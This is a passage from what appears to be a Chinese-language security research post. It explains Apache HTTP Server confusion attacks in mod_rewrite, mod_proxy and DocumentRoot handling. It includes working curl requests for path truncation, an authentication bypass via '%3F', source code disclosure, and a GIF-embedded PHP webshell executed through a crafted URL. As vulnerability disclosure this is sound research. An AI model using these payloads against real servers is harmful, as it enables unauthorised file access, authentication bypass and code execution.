highlighter-rouge">mod_rewrite</code> 允許網站管理員透過 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 語法輕鬆的將路徑透過指定的規則改寫:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> Pattern Substitution [flags] </code></pre></div></div> <p>其中目標可以是一個檔案系統路徑或是一個網址,我想這應該是一個為了使用者體驗所做出的方便,但同時這個「方便」也帶出了一些風險,例如<strong>在改寫路徑時,<code class="language-plaintext highlighter-rouge">mod_rewrite</code> 會強制把結果視為網址處理 (<code class="language-plaintext highlighter-rouge">splitout_queryargs()</code>)</strong>,這導致了在 HTTP 請求中可以透過一個問號 <code class="language-plaintext highlighter-rouge">%3F</code> 去截斷 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 後面的路徑或網址,並引出以下兩種攻擊手法。</p> <p><strong><em>Path: <a href="https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141">modules/mappers/mod_rewrite.c#L4141</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* * Apply a single RewriteRule */</span> <span class="k">static</span> <span class="kt">int</span> <span class="nf">apply_rewrite_rule</span><span class="p">(</span><span class="n">rewriterule_entry</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="n">rewrite_ctx</span> <span class="o">*</span><span class="n">ctx</span><span class="p">)</span> <span class="p">{</span> <span class="n">ap_regmatch_t</span> <span class="n">regmatch</span><span class="p">[</span><span class="n">AP_MAX_REG_MATCH</span><span class="p">];</span> <span class="n">apr_array_header_t</span> <span class="o">*</span><span class="n">rewriteconds</span><span class="p">;</span> <span class="n">rewritecond_entry</span> <span class="o">*</span><span class="n">conds</span><span class="p">;</span> <span class="c1">// [...]</span> <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">rewriteconds</span><span class="o">-&gt;</span><span class="n">nelts</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span> <span class="n">rewritecond_entry</span> <span class="o">*</span><span class="n">c</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">conds</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="n">rc</span> <span class="o">=</span> <span class="n">apply_rewrite_cond</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">ctx</span><span class="p">);</span> <span class="c1">// [...] do the remaining stuff</span> <span class="p">}</span> <span class="cm">/* Now adjust API's knowledge about r-&gt;filename and r-&gt;args */</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span> <span class="o">=</span> <span class="n">newuri</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">perdir</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">p</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">RULEFLAG_DISCARDPATHINFO</span><span class="p">))</span> <span class="p">{</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">path_info</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="p">}</span> <span class="n">splitout_queryargs</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">p</span><span class="o">-&gt;</span><span class="n">flags</span><span class="p">);</span> <span class="c1">// &lt;------- [!!!] Truncate the `r-&gt;filename`</span> <span class="c1">// [...]</span> <span class="p">}</span> </code></pre></div></div> <h5 id="️-1-1-1-path-truncation">✔️ 1-1-1. Path Truncation</h5> <p>首先,第一個攻擊手法是檔案系統路徑上的截斷,想像下面這個 <code class="language-plaintext highlighter-rouge">RewriteRule</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteEngine</span> <span class="ss">On</span> <span class="nc">RewriteRule</span> "^/user/(.+)$" "/var/user/$1/profile.yml" </code></pre></div></div> <p>伺服器會根據網址路徑 <code class="language-plaintext highlighter-rouge">/user/</code> 後的使用者名稱開啟相對應的個人設定檔案,例如:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/user/orange <span class="c"># the output of file `/var/user/orange/profile.yml`</span> </code></pre></div></div> <p>由於 <code class="language-plaintext highlighter-rouge">mod_rewrite</code> 會強制將重寫後的結果當成一個網址處理,因此雖然目標是一個檔案系統路徑,但卻可以透過一個問號去截斷後方的 <code class="language-plaintext highlighter-rouge">/profile.yml</code> 例如:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/user/orange%2Fsecret.yml%3F <span class="c"># the output of file `/var/user/orange/secret.yml`</span> </code></pre></div></div> <p>這是我們的第一個攻擊手法 —— 路徑截斷。 對於這個攻擊手法的探索先稍稍停留在這邊,雖然目前看起來還只是一個小瑕疵,但請先記好它,因為這會在之後的攻擊中一再的出現,慢慢把這個看似無用的小破口撕裂開來! 😜</p> <h5 id="️-1-1-2-mislead-rewriteflag-assignment">✔️ 1-1-2. Mislead RewriteFlag Assignment</h5> <p>截斷手法的第二個利用是誤導 <code class="language-plaintext highlighter-rouge">RewriteFlag</code> 的設置,想像網站管理員透過下列的 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 去管理網站中路徑以及相對應模組:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteEngine</span> <span class="ss">On</span> <span class="nc">RewriteRule</span> ^(.+\.php)$ $1 [H=application/x-httpd-php] </code></pre></div></div> <p>如果請求附檔名是 <code class="language-plaintext highlighter-rouge">.php</code> 結尾則加上 <code class="language-plaintext highlighter-rouge">mod_php</code> 相對應的處理器 (此外也可以是環境變數或是 <code class="language-plaintext highlighter-rouge">Content-Type</code>,關於標誌的詳細設定可參考官方的手冊 <a href="https://httpd.apache.org/docs/2.4/rewrite/flags.html">RewriteRule Flags</a>)。</p> <p>由於 <code class="language-plaintext highlighter-rouge">mod_rewrite</code> 的截斷行為發生在正規表達式匹配後,因此惡意的攻擊者可以利用原本的規則,透過 <code class="language-plaintext highlighter-rouge">?</code> 將 <code class="language-plaintext highlighter-rouge">RewriteFlag</code> 設定到不屬於它們的請求上。 例如上傳一個夾帶惡意 PHP 程式碼的 GIF 圖片並透過惡意請求將圖片當成後門執行:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/upload/1.gif <span class="c"># GIF89a &lt;?=`id`;&gt;</span> <span class="nv">$ </span>curl http://server/upload/1.gif%3fooo.php <span class="c"># GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)</span> </code></pre></div></div> <p><br /></p> <h4 id="️-primitive-1-2-acl-bypass">⚔️ Primitive 1-2. ACL Bypass</h4> <p>Filename Confusion 的第二個攻擊手法發生在 <code class="language-plaintext highlighter-rouge">mod_proxy</code> 身上,相較前一個攻擊是無條件將目標當成網址處理,這次則是<strong>因為模組間對 <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> 的理解不一致所導致的認證及存取控制繞過</strong>!</p> <p><code class="language-plaintext highlighter-rouge">mod_proxy</code> 會將 <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> 當成網址這件事情其實很合理,因為原本 Proxy 的目的就是將請求「導向」到其它網址上,但安全往往就是單獨拿出來看沒問題,搭配在一起就出問題了! 特別是當大多數模組預設將 <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> 視為檔案系統路徑時,試想一下假設今天你使用基於檔案系統的存取控制模組,而現在 <code class="language-plaintext highlighter-rouge">mod_proxy</code> 又會把 <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> 當成網址,這其中的不一致就可以導致存取控制或是認證被繞過!</p> <p>一個經典的例子是,網站管理員透過 <code class="language-plaintext highlighter-rouge">Files</code> 語法去對單一檔案加上限制,例如 <code class="language-plaintext highlighter-rouge">admin.php</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Files</span><span class="sr"> "admin.php"</span><span class="p">&gt; </span> <span class="nc">AuthType</span> <span class="ss">Basic</span> <span class="ss">AuthName</span> "Admin Panel" <span class="nc">AuthUserFile</span> "/etc/apache2/.htpasswd" <span class="nc">Require</span> valid-user <span class="p">&lt;/</span><span class="nl">Files</span><span class="p">&gt; </span></code></pre></div></div> <p>在預設安裝的 PHP-FPM 環境中,這種設定可以被直接繞過! 順道一提這也是 Apache HTTP Server 中最常見到的認證方式! 假設今天你瀏覽了這樣的網址:</p> <blockquote> <p>http://server/admin.php%3Fooo.php</p> </blockquote> <p>首先在這個網址的 HTTP 生命週期中,認證模組會將請求的檔案名稱與被保護的檔案進行比對,此時 <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> 欄位是 <code class="language-plaintext highlighter-rouge">admin.php?ooo.php</code> 理所當然與 <code class="language-plaintext highlighter-rouge">admin.php</code> 不符合,於是模組會認為當前請求不需要認證。 然而 PHP-FPM 的設定檔案又設定當收到結尾為 <code class="language-plaintext highlighter-rouge">.php</code> 的請求時透過 <code class="language-plaintext highlighter-rouge">SetHandler</code> 語法將請求轉交給 <code class="language-plaintext highlighter-rouge">mod_proxy</code>:</p> <p><strong><em>Path: /etc/apache2/mods-enabled/php8.2-fpm.conf</em></strong></p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Using (?:pattern) instead of (pattern) is a small optimization that</span> <span class="c"># avoid capturing the matching pattern (as $1) which isn't used here</span> <span class="p">&lt;</span><span class="nl">FilesMatch</span><span class="sr"> ".+\.ph(?:ar|p|tml)$"</span><span class="p">&gt; </span> <span class="nc">SetHandler</span> "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost" <span class="p">&lt;/</span><span class="nl">FilesMatch</span><span class="p">&gt; </span></code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">mod_proxy</code> 會將 <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> 重寫成以下網址並根據其中的協議呼叫子模組 <code class="language-plaintext highlighter-rouge">mod_proxy_fcgi</code> 處理後續 FastCGI 協議的邏輯:</p> <blockquote> <p>proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php</p> </blockquote> <p>由於這時後端在收到檔案名稱時已經是一個奇怪的格式了,PHP-FPM 只好對這個行為做特別處理,其中處理的邏輯如下:</p> <p><strong><em>Path: <a href="https://github.com/php/php-src/blob/ce51bfac759dedac1537f4d5666dcd33fbc4a281/sapi/fpm/fpm/fpm_main.c#L1044">sapi/fpm/fpm/fpm_main.c#L1044</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://" #define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://" </span> <span class="k">if</span> <span class="p">(</span><span class="n">env_script_filename</span> <span class="o">&amp;&amp;</span> <span class="n">strncasecmp</span><span class="p">(</span><span class="n">env_script_filename</span><span class="p">,</span> <span class="n">APACHE_PROXY_FCGI_PREFIX</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">APACHE_PROXY_FCGI_PREFIX</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* advance to first character of hostname */</span> <span class="kt">char</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">env_script_filename</span> <span class="o">+</span> <span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">APACHE_PROXY_FCGI_PREFIX</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span> <span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">p</span> <span class="o">!=</span> <span class="sc">'\0'</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="n">p</span> <span class="o">!=</span> <span class="sc">'/'</span><span class="p">)</span> <span class="p">{</span> <span class="n">p</span><span class="o">++</span><span class="p">;</span> <span class="cm">/* move past hostname and port */</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">p</span> <span class="o">!=</span> <span class="sc">'\0'</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* Copy path portion in place to avoid memory leak. Note * that this also affects what script_path_translated points * to. */</span> <span class="n">memmove</span><span class="p">(</span><span class="n">env_script_filename</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">p</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="n">apache_was_here</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="cm">/* ignore query string if sent by Apache (RewriteRule) */</span> <span class="n">p</span> <span class="o">=</span> <span class="n">strchr</span><span class="p">(</span><span class="n">env_script_filename</span><span class="p">,</span> <span class="sc">'?'</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">p</span><span class="p">)</span> <span class="p">{</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>可以看到 PHP-FPM 先對檔案名稱正規化並對其中的問號 <code class="language-plaintext highlighter-rouge">?</code> 進行分隔取出其中實際的檔案路徑並執行 (也就是 <code class="language-plaintext highlighter-rouge">/var/www/html/admin.php</code>)。 所以基本上<strong>所有使用 <code class="language-plaintext highlighter-rouge">Files</code> 語法針對單一 PHP 檔案的認證或是存取控制設定在運行 PHP-FPM 的情境下都存在風險!</strong> 😮</p> <p>從 GitHub 上可以找到非常多潛在有風險的設定,例如被限制在只有內網才能存取的 <code class="language-plaintext highlighter-rouge">phpinfo()</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># protect phpinfo, only allow localhost and local network access</span> <span class="p">&lt;</span><span class="nl">Files</span><span class="sr"> php-info.php</span><span class="p">&gt; </span> <span class="c"># LOCAL ACCESS ONLY</span> <span class="c"># Require local </span> <span class="c"># LOCAL AND LAN ACCESS</span> <span class="nc">Require</span> ip 10 172 192.168 <span class="p">&lt;/</span><span class="nl">Files</span><span class="p">&gt; </span></code></pre></div></div> <p>使用 <code class="language-plaintext highlighter-rouge">.htaccess</code> 阻擋起來的 Adminer:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Files</span><span class="sr"> adminer.php</span><span class="p">&gt; </span> <span class="nc">Order</span> Allow,Deny <span class="nc">Deny</span> <span class="ss">from</span> <span class="ss">all</span> <span class="p">&lt;/</span><span class="nl">Files</span><span class="p">&gt; </span></code></pre></div></div> <p>被保護起來的 <code class="language-plaintext highlighter-rouge">xmlrpc.php</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Files</span><span class="sr"> xmlrpc.php</span><span class="p">&gt; </span> <span class="nc">Order</span> Allow,Deny <span class="nc">Deny</span> <span class="ss">from</span> <span class="ss">all</span> <span class="p">&lt;/</span><span class="nl">Files</span><span class="p">&gt; </span></code></pre></div></div> <p>防止直接存取的命令行工具:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Files</span><span class="sr"> "cron.php"</span><span class="p">&gt; </span> <span class="nc">Deny</span> <span class="ss">from</span> <span class="ss">all</span> <span class="p">&lt;/</span><span class="nl">Files</span><span class="p">&gt; </span></code></pre></div></div> <p>透過認證模組以及 <code class="language-plaintext highlighter-rouge">mod_proxy</code> 間對 <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> 欄位理解的不一致,上面所有的例子都可以透過一個 <code class="language-plaintext highlighter-rouge">?</code> 成功繞過!</p> <p><br /></p> <h3 id="-2-documentroot-confusion">🔥 2. DocumentRoot Confusion</h3> <p>接下來要介紹的攻擊是基於 DocumentRoot 上的 Confusion Attack! 首先你可以思考一下,對於下面這樣子的 Httpd 設定:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">DocumentRoot</span> /var/www/html <span class="nc">RewriteRule</span> ^/html/(.*)$ /$1.html </code></pre></div></div> <p>當瀏覽 <code class="language-plaintext highlighter-rouge">http://server/html/about</code> 時,到底實際 Httpd 會開啟哪個檔案? 是根目錄下的 <code class="language-plaintext highlighter-rouge">/about.html</code> 還是 DocumentRoot 下的 <code class="language-plaintext highlighter-rouge">/var/www/html/about.html</code> 呢?</p> <p><img src="/assets/img/blog/20240809/2.png" alt="" /></p> <p>答案是 —— <strong>兩個路徑都會存取</strong>。 這也是我們的第二個 Confusion Attack,<strong>對於任意<sup>[1]</sup>的 <code class="language-plaintext highlighter-rouge">RewriteRule</code>,Httpd 總是會嘗試開啟帶有 DocumentRoot 的路徑以及沒有的路徑!</strong> 有趣吧 😉</p> <p><em>[1] 位於 <code class="language-plaintext highlighter-rouge">Server Config</code> 或 <code class="language-plaintext highlighter-rouge">VirtualHost Block</code> 內</em></p> <p><strong><em>Path: <a href="https://github.com/apache/httpd/blob/c3ad18b7ee32da93eabaae7b94541d3c32264340/modules/mappers/mod_rewrite.c#L4939">modules/mappers/mod_rewrite.c#L4939</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">conf</span><span class="o">-&gt;</span><span class="n">options</span> <span class="o">&amp;</span> <span class="n">OPTION_LEGACY_PREFIX_DOCROOT</span><span class="p">))</span> <span class="p">{</span> <span class="n">uri_reduced</span> <span class="o">=</span> <span class="n">apr_table_get</span><span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">notes</span><span class="p">,</span> <span class="s">"mod_rewrite_uri_reduced"</span><span class="p">);</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">prefix_stat</span><span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span><span class="p">,</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">pool</span><span class="p">)</span> <span class="o">||</span> <span class="n">uri_reduced</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// &lt;------ [1] access without root</span> <span class="kt">int</span> <span class="n">res</span><span class="p">;</span> <span class="kt">char</span> <span class="o">*</span><span class="n">tmp</span> <span class="o">=</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">uri</span><span class="p">;</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">uri</span> <span class="o">=</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span><span class="p">;</span> <span class="n">res</span> <span class="o">=</span> <span class="n">ap_core_translate</span><span class="p">(</span><span class="n">r</span><span class="p">);</span> <span class="c1">// &lt;------ [2] access with root</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">uri</span> <span class="o">=</span> <span class="n">tmp</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">res</span> <span class="o">!=</span> <span class="n">OK</span><span class="p">)</span> <span class="p">{</span> <span class="n">rewritelog</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="s">"prefixing with document_root of %s"</span> <span class="s">" FAILED"</span><span class="p">,</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span><span class="p">));</span> <span class="k">return</span> <span class="n">res</span><span class="p">;</span> <span class="p">}</span> <span class="n">rewritelog</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="s">"prefixed with document_root to %s"</span><span class="p">,</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span><span class="p">));</span> <span class="p">}</span> <span class="n">rewritelog</span><span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="s">"go-ahead with %s [OK]"</span><span class="p">,</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span><span class="p">));</span> <span class="k">return</span> <span class="n">OK</span><span class="p">;</span> <span class="err">}</span> </code></pre></div></div> <p>當然絕大部分的情況是目標檔案不存在,於是 Httpd 會存取帶有 DocumentRoot 的版本,但這個行為已經讓我們能夠「故意的」去存取 Web Root 以外的路徑,<strong>如果今天可以控制 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 的目標前綴那我們是不是就能瀏覽作業系統上的任意檔案了?</strong> 這也是我們第二個 Confusion Attack 的精神! 從 GitHub 中可以找到千千萬萬個有問題的寫法,有趣的是甚至連<a href="https://httpd.apache.org/docs/current/rewrite/remapping.html#rewrite-query">官方的範例文件</a>都是易遭受攻擊的:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Remove mykey=???</span> <span class="nc">RewriteCond</span> "%{QUERY_STRING}" "(.*(?:^|&amp;))mykey=([^&amp;]*)&amp;?(.*)&amp;?$" <span class="nc">RewriteRule</span> "(.*)" "$1?%1%3" </code></pre></div></div> <p>除此之外還有其它亦受影響的 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 例如基於快取需求或是將想副檔名隱藏起來的 URL Masking 規則:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> "^/html/(.*)$" "/$1.html" </code></pre></div></div> <p>或是想節省流量,嘗試使用壓縮版本的靜態檔案規則:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> "^(.*)\.(css|js|ico|svg)" "$1\.$2.gz" </code></pre></div></div> <p>將老舊的網站轉址到根目錄的規則:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> "^/oldwebsite/(.*)$" "/$1" </code></pre></div></div> <p>對所有 CORS 的預檢請求都回傳 200 OK 的規則:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteCond</span> %{REQUEST_METHOD} <span class="ss">OPTIONS</span> <span class="nc">RewriteRule</span> ^(.*)$ $1 [R=200,L] </code></pre></div></div> <p>理論上只要 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 的目標前綴可控,我們可以瀏覽幾乎整個檔案系統,但從前面的規則中發現還有一個限制我們必須跨過的,前面例子中所出現的副檔名如 <code class="language-plaintext highlighter-rouge">.html</code> 以及 <code class="language-plaintext highlighter-rouge">.gz</code> 的後綴都是讓我們沒那麼地自由的一個限制 —— 所以可以繞過這個限制嗎? 不知道有沒有人想起前面在 Filename Confusion 章節所介紹的路徑截斷,透過這兩個攻擊的結合,我們可以自由的瀏覽作業系統上的任意檔案!</p> <p>接下來的範例都基於這個不安全的 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 來做示範:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteEngine</span> <span class="ss">On</span> <span class="nc">RewriteRule</span> "^/html/(.*)$" "/$1.html" </code></pre></div></div> <p><br /></p> <h4 id="️-primitive-2-1-server-side-source-code-disclosure">⚔️ Primitive 2-1. Server-Side Source Code Disclosure</h4> <p>首先來介紹 DocumentRoot Confusion 的第一個攻擊手法 —— <strong>任意伺服器端程式碼洩漏</strong>!</p> <p>由於 Httpd 會根據當前目錄或是當前虛擬主機設定決定是否當成 Server-Side Script 處理,因此透過絕對路徑去存取目標程式碼可以混淆 Httpd 的邏輯導致洩漏原本該被當成程式碼執行的檔案內容。</p> <h5 id="️-2-1-1-disclose-cgi-source-code">✔️ 2-1-1. Disclose CGI Source Code</h5> <p>首先是洩漏伺服器端的 CGI 程式碼,由於 <code class="language-plaintext highlighter-rouge">mod_cgi</code> 是透過 <code class="language-plaintext highlighter-rouge">ScriptAlias</code> 將 CGI 目錄與所指定的 URL 前綴綁定起來,當使用絕對路徑直接瀏覽 CGI 時由於 URL 前綴變了,因此可以直接洩漏出檔案原始碼。</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/cgi-bin/download.cgi <span class="c"># the processed result from download.cgi</span> <span class="nv">$ </span>curl http://server/html/usr/lib/cgi-bin/download.cgi%3F <span class="c"># #!/usr/bin/perl</span> <span class="c"># use CGI;</span> <span class="c"># ...</span> <span class="c"># # the source code of download.cgi</span> </code></pre></div></div> <h5 id="️-2-1-2-disclose-php-source-code">✔️ 2-1-2. Disclose PHP Source Code</h5> <p>接著是洩漏伺服器端的 PHP 程式碼,由於 PHP 的使用場景眾多,若只針對特定目錄或是虛擬主機套用 PHP 環境的話 (常見於網站代管服務),可以透過未啟用 PHP 的虛擬主機存取 PHP 檔案以洩漏原始碼!</p> <p>例如 <code class="language-plaintext highlighter-rouge">www.local</code> 以及 <code class="language-plaintext highlighter-rouge">static.local</code> 兩個虛擬主機都託管在同一台伺服器上,<code class="language-plaintext highlighter-rouge">www.local</code> 允許運行 PHP 而 <code class="language-plaintext highlighter-rouge">static.local</code> 則純粹負責處理靜態檔案,因此可以透過下面的方式洩漏出 <code class="language-plaintext highlighter-rouge">config.php</code> 內的敏感資訊:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://www.local/config.php <span class="c"># the processed result (empty) from config.php</span> <span class="nv">$ </span>curl http://www.local/var/www.local/config.php%3F <span class="nt">-H</span> <span class="s2">"Host: static.local"</span> <span class="c"># the source code of config.php</span> </code></pre></div></div> <p><br /></p> <h4 id="️-primitive-2-2-local-gadgets-manipulation">⚔️ Primitive 2-2. Local Gadgets Manipulation!</h4> <p>接下來是我們的第二個攻擊手法 —— <strong>Local Gadgets Manipulation</strong>。</p> <p>首先,在前面介紹到「瀏覽作業系統上的任意檔案」時不知道你有沒有好奇: 「欸那是不是一個不安全的 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 就可以存取到 <code class="language-plaintext highlighter-rouge">/etc/passwd</code>?」 對的 —— 但也不完全對。 蛤?</p> <p>技術上來說確實伺服器會去檢查 <code class="language-plaintext highlighter-rouge">/etc/passwd</code> 是否存在,但 Apach HTTP Server 內建的存取控制阻擋了我們的存取,這裡是 Apache HTTP Server 的<a href="https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115">設定檔模板內容</a>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Directory</span><span class="sr"> /</span><span class="p">&gt; </span> <span class="nc">AllowOverride</span> <span class="ss">None</span> <span class="nc">Require</span> <span class="ss">all</span> denied <span class="p">&lt;/</span><span class="nl">Directory</span><span class="p">&gt; </span></code></pre></div></div> <p>會觀察到預設阻擋了根目錄 <code class="language-plaintext highlighter-rouge">/</code> 的瀏覽 (<code class="language-plaintext highlighter-rouge">Require all denied</code>),然而實際上這就沒戲了嗎? 實際上再詳細追查各個 Httpd 的發行版會發現 <a href="https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165">Debian/Ubuntu</a> 作業系統預設允許了 <code class="language-plaintext highlighter-rouge">/usr/share</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Directory</span><span class="sr"> /usr/share</span><span class="p">&gt; </span> <span class="nc">AllowOverride</span> <span class="ss">None</span> <span class="nc">Require</span> <span class="ss">all</span> granted <span class="p">&lt;/</span><span class="nl">Directory</span><span class="p">&gt; </span></code></pre></div></div> <p>所以我們的「任意檔案存取」似乎有點那麼地不任意。 不過我們打破原本只能瀏覽 DocumentRoot 的信任算是跨出很大的一步了。 接下來要做的事情就是「壓榨」這個目錄內的各種可能。 所有可利用的資源、目錄中現有的教學範例、說明文件、單元測試檔案,甚至伺服器上程式語言如 PHP、Python 甚至 PHP 的模組都有機會成為我們濫用的對象!</p> <p><em>P.S. 當然上面只是基於 Ubuntu/Debian 作業系統發行的 Httpd 版本設定做解釋,實務上也有發現一些應用軟體直接把的根目錄的 <code class="language-plaintext highlighter-rouge">Require all denied</code> 移除導致可以直接存取 <code class="language-plaintext highlighter-rouge">/etc/passwd</code></em></p> <p><img src="/assets/img/blog/20240809/3.png" alt="" /></p> <h5 id="️-2-2-1-local-gadget-to-information-disclosure">✔️ 2-2-1. Local Gadget to Information Disclosure</h5> <p>首先來尋找看看這個目錄下是否存在這一些檔案是可以利用的。 首先是目標 Apache HTTP Server 如果安裝 <code class="language-plaintext highlighter-rouge">websocketd</code> 這個服務的話,服務套件預設會在 <code class="language-plaintext highlighter-rouge">/usr/share/doc/websocketd/examples/php/</code> 下放置一個範例 PHP 程式碼 <code class="language-plaintext highlighter-rouge">dump-env.php</code>,如果目標伺服器上存在 PHP 環境的話可以直接存取這個範例程式去洩漏敏感的環境變數。</p> <p>另外如果目標同時安裝如 Nginx 或是 Jetty 的話,雖然 <code class="language-plaintext highlighter-rouge">/usr/share</code> 理論上該是套件安裝時所存放的唯讀複本,但這些服務的預設 Web Root 就在 <code class="language-plaintext highlighter-rouge">/usr/share</code> 下,因此也能透過這個攻擊手法去洩漏這些網頁應用的敏感資訊,例如 Jetty 上的 <code class="language-plaintext highlighter-rouge">web.xml</code> 設定等等:</p> <ul> <li>/usr/share/nginx/html/</li> <li>/usr/share/jetty9/etc/</li> <li>/usr/share/jetty9/webapps/</li> </ul> 